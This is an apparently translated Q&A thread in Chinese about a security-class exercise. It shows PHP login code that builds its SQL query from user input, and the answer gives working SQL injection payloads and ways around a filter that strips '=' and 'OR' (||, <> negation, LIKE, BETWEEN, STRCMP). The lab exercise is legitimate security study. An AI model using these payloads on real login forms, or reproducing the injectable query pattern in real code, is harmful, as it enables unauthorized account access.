php - 使用 php 过滤进行 SQL 注入(inject)

Question

我必须注入(inject)一个登录表单来练习计算机安全类(class)...... 我已经使用简单的方法通过了第一级

' like 1=1--

在密码字段中，但现在在第二级，我必须使用相同的源代码再次注入(inject)相同的登录表单，除了用户和 pwd 由名为 lvl2_filter() 的函数控制这一事实，我认为这是是filters.php的一部分，不接受“=”和“OR”

我该怎么做？？？

用户名和密码字段不能为空

include_once 'filters.php';
include_once 'config.php';
?>

<?php
$user = lvl2_filter($_REQUEST['user']);
$pwd = lvl2_filter($_REQUEST['pwd']);
$token = $_COOKIE["token_sqli2"];

if (empty($token) || !check_token($token)){
echo "<h1>You need to be logged in!</h1><br>";
}

if (!empty($user) && !empty($pwd)) {
$query = "SELECT user_id FROM users WHERE username='$user' and password='$pwd'";
$result = mysqli_query($db,$query);
if ($result && mysqli_num_rows($result)>0) { 
  echo "Hi $user, you are logged in.";
  verify_user($token, $user);
}
else echo "sorry, invalid username or password"; 
}
else { ?>

Answer 1

假设this definition of lvl2_filter ，这基本上删除了 = 的任何出现。和or直到不再找到为止，应该仍然可以使用 logical OR operation与 ||而不是OR以及一个计算结果为 true 的简单表达式，例如:

username: dummy
password: ' || '1

这将导致:

SELECT user_id FROM users WHERE username='dummy' and password='' || '1'

要选择特定用户，可以使用 rules of boolean algebra ，其中x=y =!(x!=y) :

username: dummy
password: ' || NOT(username<>'admin') AND '1

这将导致:

SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'

这里<>相当于 !=但不包含= .

还可以使用其他操作来确保用户名等于 admin :

• username BETWEEN 'admin' AND 'admin'
• username LIKE 'admin'
• username IN ('admin')
• IF(STRCMP(username,'admin'), 0, 1)
• CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
• ...